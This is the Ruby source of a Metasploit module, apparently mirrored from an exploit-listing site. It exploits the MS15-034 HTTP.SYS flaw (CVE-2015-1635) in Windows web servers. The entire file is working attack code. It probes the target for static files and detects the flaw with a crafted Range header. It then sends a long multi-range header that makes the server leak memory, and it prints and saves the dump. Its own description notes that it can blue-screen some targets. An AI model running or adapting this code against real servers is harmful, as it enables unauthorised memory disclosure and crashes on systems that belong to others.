## https://sploitus.com/exploit?id=MSF:AUXILIARY-SCANNER-HTTP-MS15_034_HTTP_SYS_MEMORY_DUMP-
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'MS15-034 HTTP Protocol Stack Request Handling HTTP.SYS Memory Information Disclosure',
'Description' => %q{
This module dumps memory contents using a crafted Range header and affects only
Windows 8.1, Server 2012, and Server 2012R2. Note that if the target
is running in VMware Workstation, this module has a high likelihood
of resulting in BSOD; however, VMware ESX and non-virtualized hosts
seem stable. Using a larger target file should result in more memory
being dumped, and SSL seems to produce more data as well.
},
'Author' =>
[
'Rich Whitcroft <rwhitcroft[at]gmail.com>', # Msf module
'sinn3r', # Some more Metasploit stuff
'Sunny Neo <sunny.neo[at]centurioninfosec.sg>' #Added VHOST option
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-1635'],
['MSB', 'MS15-034'],
['URL', 'https://pastebin.com/ypURDPc4'],
['URL', 'https://github.com/rapid7/metasploit-framework/pull/5150'],
['URL', 'https://community.qualys.com/blogs/securitylabs/2015/04/20/ms15-034-analyze-and-remote-detection'],
['URL', 'http://www.securitysift.com/an-analysis-of-ms15-034/'],
['URL', 'http://securitysift.com/an-analysis-of-ms15-034/']
]
))
register_options([
OptString.new('TARGETURI', [false, 'URI to the site (e.g /site/) or a valid file resource (e.g /welcome.png)', '/']),
OptBool.new('SUPPRESS_REQUEST', [ true, 'Suppress output of the requested resource', true ])
])
end
def potential_static_files_uris
uri = normalize_uri(target_uri.path)
return [uri] unless uri[-1, 1] == '/'
uris = ["#{uri}iisstart.htm", "#{uri}iis-85.png", "#{uri}welcome.png"]
res = send_request_raw('uri' => uri)
return uris unless res
site_uri = URI.parse(full_uri)
page = Nokogiri::HTML(res.body.encode('UTF-8', invalid: :replace, undef: :replace))
page.xpath('//link|//script|//style|//img').each do |tag|
%w(href src).each do |attribute|
attr_value = tag[attribute]
next unless attr_value && !attr_value.empty?
uri = site_uri.merge(URI::DEFAULT_PARSER.escape(attr_value.strip))
next unless uri.host == vhost || uri.host == rhost
uris << uri.path if uri.path =~ /\.[a-z]{2,}$/i # Only keep path with a file
end
end
uris.uniq
end
def check_host(ip)
upper_range = 0xFFFFFFFFFFFFFFFF
potential_static_files_uris.each do |potential_uri|
uri = normalize_uri(potential_uri)
res = send_request_raw(
'uri' => uri,
'method' => 'GET',
'headers' => {
'Range' => "bytes=0-#{upper_range}"
}
)
if res && res.body.include?('Requested Range Not Satisfiable')
vmessage = "#{peer} - Checking #{uri} [#{res.code}]"
vprint_status("#{vmessage} - Vulnerable")
# Save the file that we want to use for the information leak
target_uri.path = uri
return Exploit::CheckCode::Vulnerable
elsif res && res.body.include?('The request has an invalid header name')
return Exploit::CheckCode::Safe
end
end
Exploit::CheckCode::Unknown
end
def dump(data)
# clear out the returned resource
if datastore['SUPPRESS_REQUEST']
dump_start = data.index('HTTP/1.1 200 OK')
if dump_start
data[0..dump_start-1] = ''
else
print_error("Memory dump start position not found, dumping all data instead")
end
end
print_line
print_good("Memory contents:")
print_line(Rex::Text.to_hex_dump(data))
end
# Needed to allow the vulnerable uri to be shared between the #check and #dos
def target_uri
@target_uri ||= super
end
def get_file_size
@file_size ||= lambda {
file_size = -1
uri = normalize_uri(target_uri.path)
res = send_request_raw('uri' => uri)
unless res
vprint_error("Connection timed out")
return file_size
end
if res.code == 404
vprint_error("You got a 404. URI must be a valid resource.")
return file_size
end
file_size = res.headers['Content-Length'].to_i
vprint_status("File length: #{file_size} bytes")
return file_size
}.call
end
def calc_ranges(content_length)
ranges = "bytes=3-18446744073709551615"
range_step = 100
for range_start in (1..content_length).step(range_step) do
range_end = range_start + range_step - 1
range_end = content_length if range_end > content_length
ranges << ",#{range_start}-#{range_end}"
end
ranges
end
def run_host(ip)
begin
vuln_status = check_host(ip)
case vuln_status
when Exploit::CheckCode::Safe
print_error('The target is not exploitable.')
return
when Exploit::CheckCode::Unknown
print_error('Cannot reliably check exploitability! Observe the traffic with HTTPTrace turned on and try to debug.')
return
when Exploit::CheckCode::Vulnerable
print_good('The target is vulnerable.')
else
print_error('An unknown status code was returned from check_host!')
return
end
content_length = get_file_size
ranges = calc_ranges(content_length)
uri = normalize_uri(target_uri.path)
cli = Rex::Proto::Http::Client.new(
ip,
rport,
{},
datastore['SSL'],
datastore['SSLVersion'],
nil,
datastore['USERNAME'],
datastore['PASSWORD']
)
cli.connect
req = cli.request_raw(
'uri' => target_uri.path,
'method' => 'GET',
'vhost' => "#{datastore['VHOST']}",
'headers' => {
'Range' => ranges
}
)
cli.send_request(req)
print_good("Stand by...")
resp = cli.read_response
if resp
dump(resp.to_s)
loot_path = store_loot('iis.ms15034', 'application/octet-stream', ip, resp, nil, 'MS15-034 HTTP.SYS Memory Dump')
print_good("Memory dump saved to #{loot_path}")
else
print_error("Disclosure unsuccessful (must be 8.1, 2012, or 2012R2)")
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
print_error("Unable to connect")
return
rescue ::Timeout::Error, ::Errno::EPIPE
print_error("Timeout receiving from socket")
return
ensure
cli.close if cli
end
end
end